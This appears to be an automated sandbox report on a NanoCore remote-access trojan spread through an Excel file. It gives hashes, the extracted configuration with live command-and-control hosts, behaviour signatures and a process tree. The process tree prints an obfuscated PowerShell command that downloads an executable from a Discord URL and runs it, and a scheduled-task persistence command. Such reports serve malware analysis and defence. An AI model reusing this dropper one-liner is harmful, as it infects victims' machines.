nanocore | 5184caaa51f3f661060731ef43e83f7d1978779ef224a83e819558f925eee73e

General

Target

Order23032021.xls
Size

90KB
MD5

db196958b90a5716d64cf12e3ca92cc2
SHA1

b51c1611a227de1fac3d020259306157e1dacc2f
SHA256

5184caaa51f3f661060731ef43e83f7d1978779ef224a83e819558f925eee73e
SHA512

e1733e996cc12679ff1d6d613ef8fed86e26a0c6864dec9156c6d946d16bbc7cd5e0870c964dda34b9ff65ca76ba1fb184773ab0abad7db7024ba590e7152646

Score

10^/10

nanocore keylogger spyware stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/823801311480250391/823801423296331796/d2aVbt2JS4su0p6.exe

Extracted

Family

nanocore

Version

1.2.2.0

C2

185.140.53.130:2364

mydnsnanocore123.ddns.net:2364

Mutex

af625c00-d1f5-4435-80be-9f676efc59dc

Attributes

activate_away_mode
true
backup_connection_host
mydnsnanocore123.ddns.net
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2020-12-27T15:43:00.135192036Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
2364
default_group
17-03-2021NANO
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
af625c00-d1f5-4435-80be-9f676efc59dc
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
185.140.53.130
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

Powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1520	3732	Powershell.exe

Blocklisted process makes network request 1 IoCs

Processes:

Powershell.exe

flow pid process

30 1520 Powershell.exe
Executes dropped EXE 1 IoCs

Processes:

jWyYtQjxy.exe

pid process

1688 jWyYtQjxy.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

jWyYtQjxy.exe

description pid process target process

PID 1688 set thread context of 3896 1688 jWyYtQjxy.exe MSBuild.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
30	1520	Powershell.exe

pid	process
1688	jWyYtQjxy.exe

description	pid	process	target process
PID 1688 set thread context of 3896	1688	jWyYtQjxy.exe	MSBuild.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

184 schtasks.exe

pid	process
184	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

64 EXCEL.EXE

pid	process
64	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

Powershell.exeMSBuild.exe

pid	process
1520	Powershell.exe
1520	Powershell.exe
1520	Powershell.exe
3896	MSBuild.exe
3896	MSBuild.exe
3896	MSBuild.exe
3896	MSBuild.exe
3896	MSBuild.exe
3896	MSBuild.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

MSBuild.exe

pid process

3896 MSBuild.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Powershell.exeMSBuild.exe

description pid process

Token: SeDebugPrivilege 1520 Powershell.exe
Token: SeDebugPrivilege 3896 MSBuild.exe
Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid process

64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE
64 EXCEL.EXE

pid	process
3896	MSBuild.exe

description	pid	process
Token: SeDebugPrivilege	1520	Powershell.exe
Token: SeDebugPrivilege	3896	MSBuild.exe

pid	process
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE
64	EXCEL.EXE

Suspicious use of WriteProcessMemory 14 IoCs

Processes:

Powershell.exejWyYtQjxy.exe

description	pid	process	target process
PID 1520 wrote to memory of 1688	1520	Powershell.exe	jWyYtQjxy.exe
PID 1520 wrote to memory of 1688	1520	Powershell.exe	jWyYtQjxy.exe
PID 1520 wrote to memory of 1688	1520	Powershell.exe	jWyYtQjxy.exe
PID 1688 wrote to memory of 184	1688	jWyYtQjxy.exe	schtasks.exe
PID 1688 wrote to memory of 184	1688	jWyYtQjxy.exe	schtasks.exe
PID 1688 wrote to memory of 184	1688	jWyYtQjxy.exe	schtasks.exe
PID 1688 wrote to memory of 3896	1688	jWyYtQjxy.exe	MSBuild.exe
PID 1688 wrote to memory of 3896	1688	jWyYtQjxy.exe	MSBuild.exe
PID 1688 wrote to memory of 3896	1688	jWyYtQjxy.exe	MSBuild.exe
PID 1688 wrote to memory of 3896	1688	jWyYtQjxy.exe	MSBuild.exe
PID 1688 wrote to memory of 3896	1688	jWyYtQjxy.exe	MSBuild.exe
PID 1688 wrote to memory of 3896	1688	jWyYtQjxy.exe	MSBuild.exe
PID 1688 wrote to memory of 3896	1688	jWyYtQjxy.exe	MSBuild.exe
PID 1688 wrote to memory of 3896	1688	jWyYtQjxy.exe	MSBuild.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Order23032021.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:64

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $iFdxBLFlx='*.*-EX'.replace('*.*-','I'); sal obkhdXAvQ $iFdxBLFlx;'(&(GCM'+' *W-O*)'+ 'Net.'+'Web'+'Cli'+'ent)'+'.Dow'+'nl'+'oad'+'Fil'+'e(''https://cdn.discordapp.com/attachments/823801311480250391/823801423296331796/d2aVbt2JS4su0p6.exe'',$env:temp+''\''+''jWyYtQjxy.exe'')'|obkhdXAvQ; start-process($env:temp+'\'+'jWyYtQjxy.exe')
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1520

C:\Users\Admin\AppData\Local\Temp\jWyYtQjxy.exe
"C:\Users\Admin\AppData\Local\Temp\jWyYtQjxy.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1688

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\yVVEIZvVsdzWIS" /XML "C:\Users\Admin\AppData\Local\Temp\tmp71E5.tmp"
3⤵
- Creates scheduled task(s)
PID:184

C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
"{path}"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:3896

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\jWyYtQjxy.exe
MD5
91b0b71528cf2e13fc3290e2a0f1eec0

SHA1
3c8254a705229bd8eec55c2eff12690fb3308c9e

SHA256
7a018a67c85cc0fd361f4666b0dcaf409fadeccdea122a7b285b6083ba715c80

SHA512
841ce037e4873cf13acc530563175d6fd020bebe7cd6219253ddd9a8cb01512b423e348173a5fd75ae06093a203db8ae35aa09717525c4a73651058798c643c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\jWyYtQjxy.exe
MD5
91b0b71528cf2e13fc3290e2a0f1eec0

SHA1
3c8254a705229bd8eec55c2eff12690fb3308c9e

SHA256
7a018a67c85cc0fd361f4666b0dcaf409fadeccdea122a7b285b6083ba715c80

SHA512
841ce037e4873cf13acc530563175d6fd020bebe7cd6219253ddd9a8cb01512b423e348173a5fd75ae06093a203db8ae35aa09717525c4a73651058798c643c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp71E5.tmp
MD5
bf966e8c2302fad83e1ffe672b771b8d

SHA1
8e09ae1ef8983f6329a424c048c94e5b959a59c0

SHA256
7cb5b25767464a798c67877d002814677b781668d93e0b1ae07d1a498c050c99

SHA512
51e0ec4d8ad9b451bb47c95813c5083165be4df55e7d1be103915b53c5cd854679b6f1e0b36e31784c67cc54e969cef608bd4f69804dcd68f6d2e3dc798a96ff

Download Submit
memory/64-3-0x00007FFE498B0000-0x00007FFE498C0000-memory.dmp

Filesize
64KB

Download
memory/64-4-0x00007FFE498B0000-0x00007FFE498C0000-memory.dmp

Filesize
64KB

Download
memory/64-5-0x00007FFE498B0000-0x00007FFE498C0000-memory.dmp

Filesize
64KB

Download
memory/64-6-0x00007FFE6CA50000-0x00007FFE6D087000-memory.dmp

Filesize
6.2MB

Download
memory/64-2-0x00007FFE498B0000-0x00007FFE498C0000-memory.dmp

Filesize
64KB

Download
memory/184-17-0x0000000000000000-mapping.dmp

Download
memory/1520-7-0x00007FFE65A50000-0x00007FFE6643C000-memory.dmp

Filesize
9.9MB

Download
memory/1520-12-0x0000017EB0986000-0x0000017EB0988000-memory.dmp

Filesize
8KB

Download
memory/1520-11-0x0000017EB0983000-0x0000017EB0985000-memory.dmp

Filesize
8KB

Download
memory/1520-10-0x0000017EB0980000-0x0000017EB0982000-memory.dmp

Filesize
8KB

Download
memory/1520-9-0x0000017EC9400000-0x0000017EC9401000-memory.dmp

Filesize
4KB

Download
memory/1520-8-0x0000017EC8E80000-0x0000017EC8E81000-memory.dmp

Filesize
4KB

Download
memory/1688-13-0x0000000000000000-mapping.dmp

Download
memory/1688-16-0x00000000013A0000-0x00000000013A1000-memory.dmp

Filesize
4KB

Download
memory/3896-19-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3896-20-0x000000000041E792-mapping.dmp

Download
memory/3896-21-0x0000000000AB0000-0x0000000000AB1000-memory.dmp

Filesize
4KB

Download
memory/3896-22-0x0000000000AB1000-0x0000000000AB2000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads